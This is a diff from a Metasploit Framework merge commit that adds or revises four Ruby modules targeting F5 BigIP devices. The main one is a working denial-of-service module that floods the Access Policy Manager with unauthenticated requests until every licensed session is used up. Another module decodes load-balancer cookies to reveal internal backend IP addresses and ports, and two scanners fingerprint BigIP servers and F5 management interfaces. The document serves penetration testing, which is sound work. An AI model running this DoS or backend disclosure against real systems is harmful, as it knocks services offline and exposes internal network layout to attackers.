Merge branch 'master' of github.com:rapid7/metasploit-framework
commit
b2ef4be51f
|
@ -0,0 +1,101 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'F5 BigIP Access Policy Manager Session Exhaustion Denial of Service',
|
||||
'Description' => %q{
|
||||
This module exploits a resource exhaustion denial of service in F5 BigIP devices. An
|
||||
unauthenticated attacker can establish multiple connections with BigIP Access Policy
|
||||
Manager (APM) and exhaust all available sessions defined in customer license. In the
|
||||
first step of the BigIP APM negotiation the client sends a HTTP request. The BigIP
|
||||
system creates a session, marks it as pending and then redirects the client to an access
|
||||
policy URI. Since BigIP allocates a new session after the first unauthenticated request,
|
||||
and deletes the session only if an access policy timeout expires, the attacker can exhaust
|
||||
all available sessions by repeatedly sending the initial HTTP request and leaving the
|
||||
sessions as pending.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Denis Kolegov <dnkolegov[at]gmail.com>',
|
||||
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
|
||||
'Nikita Oleksov <neoleksov[at]gmail.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://support.f5.com/kb/en-us/products/big-ip_apm/releasenotes/product/relnote-apm-11-6-0.html']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
'SSLVersion' => 'TLS1',
|
||||
'RPORT' => 443
|
||||
}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RLIMIT', [true, 'The number of requests to send', 10000]),
|
||||
OptBool.new('FORCE', [true, 'Proceed with attack even if a BigIP virtual server isn\'t detected', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
limit = datastore['RLIMIT']
|
||||
force_attack = datastore['FORCE']
|
||||
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => '/')
|
||||
|
||||
unless res
|
||||
print_error("#{peer} - No answer from the BigIP server")
|
||||
return
|
||||
end
|
||||
|
||||
# Simple test based on HTTP Server header to detect BigIP virtual server
|
||||
server = res.headers['Server']
|
||||
unless server =~ /BIG\-IP/ || server =~ /BigIP/ || force_attack
|
||||
print_error("#{peer} - BigIP virtual server was not detected. Please check options")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Starting DoS attack")
|
||||
|
||||
# Start attack
|
||||
limit.times do |step|
|
||||
if step % 100 == 0
|
||||
print_status("#{peer} - #{step * 100 / limit}% accomplished...")
|
||||
end
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => '/')
|
||||
if res && res.headers['Location'] =~ /\/my\.logout\.php3\?errorcode=14/
|
||||
print_good("#{peer} - DoS accomplished: The maximum number of concurrent user sessions has been reached.")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
# Check if attack has failed
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => uri)
|
||||
if res.headers['Location'] =~ /\/my.policy/
|
||||
print_error("#{peer} - DoS attack failed. Try to increase the RLIMIT")
|
||||
else
|
||||
print_status("#{peer} - Result is undefined. Try to manually determine DoS attack result")
|
||||
end
|
||||
|
||||
rescue ::Errno::ECONNRESET
|
||||
print_error("#{peer} - The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached")
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error("#{peer} - Unable to connect to BigIP")
|
||||
rescue ::Rex::ConnectionTimeout
|
||||
print_error("#{peer} - Unable to connect to BigIP. Please check options")
|
||||
rescue ::OpenSSL::SSL::SSLError
|
||||
print_error("#{peer} - SSL/TLS connection error")
|
||||
end
|
||||
end
|
|
@ -6,7 +6,6 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
|
@ -30,125 +29,131 @@ class Metasploit3 < Msf::Auxiliary
|
|||
['URL', 'http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html'],
|
||||
['URL', 'http://support.f5.com/kb/en-us/solutions/public/7000/700/sol7784.html?sr=14607726']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSLVersion' => 'TLS1'
|
||||
}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RPORT', [true, 'The BigIP service port to listen on', 443]),
|
||||
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
|
||||
OptString.new('TARGETURI', [true, 'The URI path to test', '/']),
|
||||
OptInt.new('REQUESTS', [true, 'Number of requests to send to disclose back', 10])
|
||||
OptInt.new('REQUESTS', [true, 'The number of requests to send', 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def change_endianness(value, size=4)
|
||||
def change_endianness(value, size = 4)
|
||||
conversion = nil
|
||||
|
||||
if size == 4
|
||||
conversion = [value].pack("V").unpack("N").first
|
||||
elsif size == 2
|
||||
conversion = [value].pack("v").unpack("n").first
|
||||
end
|
||||
|
||||
conversion
|
||||
end
|
||||
|
||||
def cookie_decode(cookie_value)
|
||||
if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
|
||||
host = $1.to_i
|
||||
port = $2.to_i
|
||||
backend = {}
|
||||
case
|
||||
when cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
|
||||
host = Regexp.last_match(1).to_i
|
||||
port = Regexp.last_match(2).to_i
|
||||
host = change_endianness(host)
|
||||
host = Rex::Socket.addr_itoa(host)
|
||||
port = change_endianness(port, 2)
|
||||
elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
|
||||
host = $1.to_i(16)
|
||||
port = $2.to_i
|
||||
when cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
|
||||
host = Regexp.last_match(1).to_i(16)
|
||||
port = Regexp.last_match(2).to_i
|
||||
host = Rex::Socket.addr_itoa(host)
|
||||
elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
|
||||
host = $1.to_i(16)
|
||||
port = $2.to_i
|
||||
host = Rex::Socket.addr_itoa(host, v6=true)
|
||||
when cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
|
||||
host = Regexp.last_match(1).to_i(16)
|
||||
port = Regexp.last_match(2).to_i
|
||||
host = Rex::Socket.addr_itoa(host, true)
|
||||
port = change_endianness(port, 2)
|
||||
elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
|
||||
host = $1.to_i(16)
|
||||
port = $2.to_i
|
||||
host = Rex::Socket.addr_itoa(host, v6=true)
|
||||
elsif cookie_value =~ /!.{104}/
|
||||
when cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
|
||||
host = Regexp.last_match(1).to_i(16)
|
||||
port = Regexp.last_match(2).to_i
|
||||
host = Rex::Socket.addr_itoa(host, true)
|
||||
else
|
||||
host = nil
|
||||
port = nil
|
||||
end
|
||||
host.nil? ? nil : "#{host}:#{port}"
|
||||
|
||||
backend[:host] = host.nil? ? nil : host
|
||||
backend[:port] = port.nil? ? nil : port
|
||||
backend
|
||||
end
|
||||
|
||||
def get_cookie # request a page and extract a F5 looking cookie.
|
||||
cookie = {}
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => @uri
|
||||
})
|
||||
res = send_request_raw({ 'method' => 'GET', 'uri' => @uri })
|
||||
|
||||
unless res.nil?
|
||||
# Get the SLB session IDs for all cases:
|
||||
# 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000",
|
||||
# 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80",
|
||||
# 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480",
|
||||
# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80",
|
||||
# 5. Encrypted cookies - "BIGipServerWEB=!dcdlUciYEFlt1QzXtD7QKx22XJx7Uuj2I0dYdFTwJASsJyJySME9/GACjztr7WYJIvHxTSNreeve7foossGzKS3vT9ECJscSg1LAc3rc"
|
||||
|
||||
m = res.get_cookies.match(/([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|(rd\d+o0{20}f{4}\w+o\d{1,5})|(vi([a-f0-9]{32})\.(\d{1,5}))|(rd\d+o([a-f0-9]{32})o(\d{1,5}))|(!(.){104}))(?:$|,|;|\s)/)
|
||||
cookie[:id] = m.nil? ? nil : m[1]
|
||||
cookie[:value] = m.nil? ? nil : m[2]
|
||||
end
|
||||
# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80"
|
||||
|
||||
regexp = /
|
||||
([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|
|
||||
(rd\d+o0{20}f{4}\w+o\d{1,5})|
|
||||
(vi([a-f0-9]{32})\.(\d{1,5}))|
|
||||
(rd\d+o([a-f0-9]{32})o(\d{1,5})))
|
||||
(?:$|,|;|\s)
|
||||
/x
|
||||
m = res.get_cookies.match(regexp)
|
||||
cookie[:id] = (m.nil?) ? nil : m[1]
|
||||
cookie[:value] = (m.nil?) ? nil : m[2]
|
||||
end
|
||||
cookie
|
||||
end
|
||||
|
||||
def run
|
||||
unless datastore['REQUESTS'] > 0
|
||||
print_error("Please, configure more than 0 REQUESTS")
|
||||
return
|
||||
end
|
||||
|
||||
back_ends = []
|
||||
requests = datastore['REQUESTS']
|
||||
backends = []
|
||||
@uri = normalize_uri(target_uri.path.to_s)
|
||||
print_status("#{peer} - Starting request #{@uri}")
|
||||
|
||||
for i in 0...datastore['REQUESTS']
|
||||
cookie = get_cookie() # Get the cookie
|
||||
(1..requests).each do |i|
|
||||
cookie = get_cookie # Get the cookie
|
||||
# If the cookie is not found, stop process
|
||||
if cookie.empty? || cookie[:id].nil?
|
||||
print_error("#{peer} - F5 BigIP load balancing cookie not found")
|
||||
break
|
||||
return
|
||||
end
|
||||
|
||||
# Print the cookie name on the first request
|
||||
if i == 0
|
||||
print_status("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found")
|
||||
if i == 1
|
||||
print_good("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found")
|
||||
if cookie[:id].start_with?('BIGipServer')
|
||||
print_status("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found")
|
||||
print_good("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found")
|
||||
end
|
||||
if cookie[:value].start_with?('rd')
|
||||
print_status("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found")
|
||||
end
|
||||
if cookie[:value].start_with?('!')
|
||||
print_status("#{peer} - F5 BigIP cookie is probably encrypted")
|
||||
print_good("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found")
|
||||
end
|
||||
end
|
||||
|
||||
back_end = cookie_decode(cookie[:value])
|
||||
unless back_end.nil? || back_ends.include?(back_end)
|
||||
print_status("#{peer} - Backend #{back_end} found")
|
||||
back_ends.push(back_end)
|
||||
backend = cookie_decode(cookie[:value])
|
||||
unless backend[:host].nil? || backends.include?(backend)
|
||||
print_good("#{peer} - Backend #{backend[:host]}:#{backend[:port]} found")
|
||||
backends.push(backend)
|
||||
end
|
||||
end
|
||||
|
||||
# Reporting found backends in database
|
||||
unless back_ends.empty?
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:type => "f5_load_balancer_backends",
|
||||
:data => back_ends
|
||||
)
|
||||
unless backends.empty?
|
||||
report_note(host: rhost, type: 'f5_load_balancer_backends', data: backends)
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error("#{peer} - Network connection error")
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("#{peer} - Network connection error")
|
||||
rescue ::OpenSSL::SSL::SSLError
|
||||
print_error("#{peer} - SSL/TLS connection error")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,91 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'F5 BigIP HTTP Virtual Server Scanner',
|
||||
'Description' => %q{
|
||||
This module scans for BigIP HTTP virtual servers using banner grabbing. BigIP system uses
|
||||
different HTTP profiles for managing HTTP traffic and these profiles allow to customize
|
||||
the string used as Server HTTP header. The default values are "BigIP" or "BIG-IP" depending
|
||||
on the BigIP system version.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Denis Kolegov <dnkolegov[at]gmail.com>',
|
||||
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
|
||||
'Nikita Oleksov <neoleksov[at]gmail.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://www.owasp.org/index.php/SCG_D_BIGIP'],
|
||||
]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PORTS', [true, 'Ports to scan (e.g. 80-81,443,8080-8090)', '80,443']),
|
||||
OptInt.new('TIMEOUT', [true, 'The socket connect/read timeout in seconds', 1]),
|
||||
], self.class)
|
||||
|
||||
deregister_options('RPORT')
|
||||
end
|
||||
|
||||
def bigip_http?(ip, port, ssl)
|
||||
begin
|
||||
res = send_request_raw(
|
||||
{
|
||||
'method' => 'GET',
|
||||
'uri' => '/',
|
||||
'rport' => port,
|
||||
'SSL' => ssl,
|
||||
},
|
||||
datastore['TIMEOUT'])
|
||||
return false unless res
|
||||
server = res.headers['Server']
|
||||
return true if server =~ /BIG\-IP/ || server =~ /BigIP/
|
||||
rescue ::Rex::ConnectionRefused
|
||||
vprint_error("#{ip}:#{port} - Connection refused")
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{ip}:#{port} - Connection error")
|
||||
rescue ::OpenSSL::SSL::SSLError
|
||||
vprint_error("#{ip}:#{port} - SSL/TLS connection error")
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
ports = Rex::Socket.portspec_crack(datastore['PORTS'])
|
||||
|
||||
if ports.empty?
|
||||
print_error('PORTS options is invalid')
|
||||
return
|
||||
end
|
||||
|
||||
ports.each do |port|
|
||||
|
||||
unless port == 443 # Skip http check for 443
|
||||
if bigip_http?(ip, port, false)
|
||||
print_good("#{ip}:#{port} - BigIP HTTP virtual server found")
|
||||
next
|
||||
end
|
||||
end
|
||||
|
||||
unless port == 80 # Skip https check for 80
|
||||
if bigip_http?(ip, port, true)
|
||||
print_good("#{ip}:#{port} - BigIP HTTPS virtual server found")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,95 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'F5 Networks Devices Management Interface Scanner',
|
||||
'Description' => %q{
|
||||
This module scans for web management interfaces of the following F5 Networks devices:
|
||||
BigIP, BigIQ, Enterprise Manager, ARX, and FirePass.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Denis Kolegov <dnkolegov[at]gmail.com>',
|
||||
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
|
||||
'Nikita Oleksov <neoleksov[at]gmail.com>'
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
'SSLVersion' => 'TLS1',
|
||||
'RPORT' => 443
|
||||
}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('TIMEOUT', [true, 'HTTPS connect/read timeout in seconds', 1])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def port_open?
|
||||
begin
|
||||
res = send_request_raw({'method' => 'GET', 'uri' => '/'}, datastore['TIMEOUT'])
|
||||
return true if res
|
||||
rescue ::Rex::ConnectionRefused
|
||||
vprint_status("#{peer} - Connection refused")
|
||||
return false
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{peer} - Connection failed")
|
||||
return false
|
||||
rescue ::OpenSSL::SSL::SSLError
|
||||
vprint_error("#{peer} - SSL/TLS connection error")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
return unless port_open?
|
||||
|
||||
res = send_request_raw('method' => 'GET', 'uri' => '/')
|
||||
if res && res.code == 200
|
||||
|
||||
# Detect BigIP management interface
|
||||
if res.body =~ /<title>BIG\-IP/
|
||||
print_good("#{peer} - F5 BigIP web management interface found")
|
||||
return
|
||||
end
|
||||
|
||||
# Detect EM management interface
|
||||
if res.body =~ /<title>Enterprise Manager/
|
||||
print_good("#{peer} - F5 Enterprise Manager web management interface found")
|
||||
return
|
||||
end
|
||||
|
||||
# Detect ARX management interface
|
||||
if res.body =~ /<title>F5 ARX Manager Login<\/title>/
|
||||
print_good("#{peer} - ARX web management interface found")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
# Detect BigIQ management interface
|
||||
res = send_request_raw('method' => 'GET', 'uri' => '/ui/login/')
|
||||
if res && res.code == 200 && res.body =~ /<title>BIG\-IQ/
|
||||
print_good("#{peer} - F5 BigIQ web management interface found")
|
||||
return
|
||||
end
|
||||
|
||||
# Detect FirePass management interface
|
||||
res = send_request_raw('method' => 'GET', 'uri' => '/admin/', 'rport' => rport)
|
||||
if res && res.code == 200 && res.body =~ /<br><br><br><big><b> FirePass/
|
||||
print_good("#{peer} - F5 FirePass web management interface found")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue